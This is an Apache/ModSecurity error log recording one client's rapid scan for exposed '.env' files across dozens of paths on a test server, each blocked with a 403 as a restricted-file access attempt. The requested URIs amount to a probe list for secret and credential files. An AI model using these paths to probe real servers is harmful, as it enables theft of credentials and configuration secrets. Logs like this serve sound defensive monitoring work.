[Thu Feb 26 01:02:59.503578 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cronlab/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkuAAAAAM&quot;]
[Thu Feb 26 01:02:59.503758 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cronlab/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkuAAAAAM&quot;]
[Thu Feb 26 01:02:59.528026 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cryo_project/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cryo_project/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkuQAAAAM&quot;]
[Thu Feb 26 01:02:59.528256 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cryo_project/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkuQAAAAM&quot;]
[Thu Feb 26 01:02:59.528405 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cryo_project/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkuQAAAAM&quot;]
[Thu Feb 26 01:02:59.540318 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /containerregistry/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ContainerRegistry/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PnQAAAAU&quot;]
[Thu Feb 26 01:02:59.541334 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ContainerRegistry/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PnQAAAAU&quot;]
[Thu Feb 26 01:02:59.541478 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ContainerRegistry/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PnQAAAAU&quot;]
[Thu Feb 26 01:02:59.584424 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /css/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/css/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkugAAAAM&quot;]
[Thu Feb 26 01:02:59.584643 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/css/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkugAAAAM&quot;]
[Thu Feb 26 01:02:59.584790 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/css/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkugAAAAM&quot;]
[Thu Feb 26 01:02:59.587321 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /containers/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/containers/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PngAAAAU&quot;]
[Thu Feb 26 01:02:59.587525 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/containers/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PngAAAAU&quot;]
[Thu Feb 26 01:02:59.587670 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/containers/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PngAAAAU&quot;]
[Thu Feb 26 01:02:59.607814 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /custom/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/custom/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkuwAAAAM&quot;]
[Thu Feb 26 01:02:59.608023 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/custom/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkuwAAAAM&quot;]
[Thu Feb 26 01:02:59.608171 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/custom/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkuwAAAAM&quot;]
[Thu Feb 26 01:02:59.632152 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /content/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PnwAAAAU&quot;]
[Thu Feb 26 01:02:59.632415 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PnwAAAAU&quot;]
[Thu Feb 26 01:02:59.632571 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PnwAAAAU&quot;]
[Thu Feb 26 01:02:59.639845 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /d/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/d/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkvAAAAAM&quot;]
[Thu Feb 26 01:02:59.640067 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/d/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkvAAAAAM&quot;]
[Thu Feb 26 01:02:59.640216 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/d/.env&quot;] [unique_id &quot;aZ-Nsw3HqGC30X9HPoEkvAAAAAM&quot;]
[Thu Feb 26 01:02:59.668992 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /control/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/control/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PoAAAAAU&quot;]
[Thu Feb 26 01:02:59.669195 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/control/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PoAAAAAU&quot;]
[Thu Feb 26 01:02:59.669341 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/control/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PoAAAAAU&quot;]
[Thu Feb 26 01:02:59.706921 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/app/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PoQAAAAU&quot;]
[Thu Feb 26 01:02:59.707145 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/app/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PoQAAAAU&quot;]
[Thu Feb 26 01:02:59.707331 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/app/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PoQAAAAU&quot;]
[Thu Feb 26 01:02:59.751520 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/datavase/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/Datavase/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PogAAAAU&quot;]
[Thu Feb 26 01:02:59.751770 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/Datavase/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PogAAAAU&quot;]
[Thu Feb 26 01:02:59.751944 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/Datavase/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PogAAAAU&quot;]
[Thu Feb 26 01:02:59.789453 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/persistence/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/persistence/.env&quot;] [unique_id &quot;aZ-Nsyk1SHHL9bIjTI-PowAAAAU&quot;]
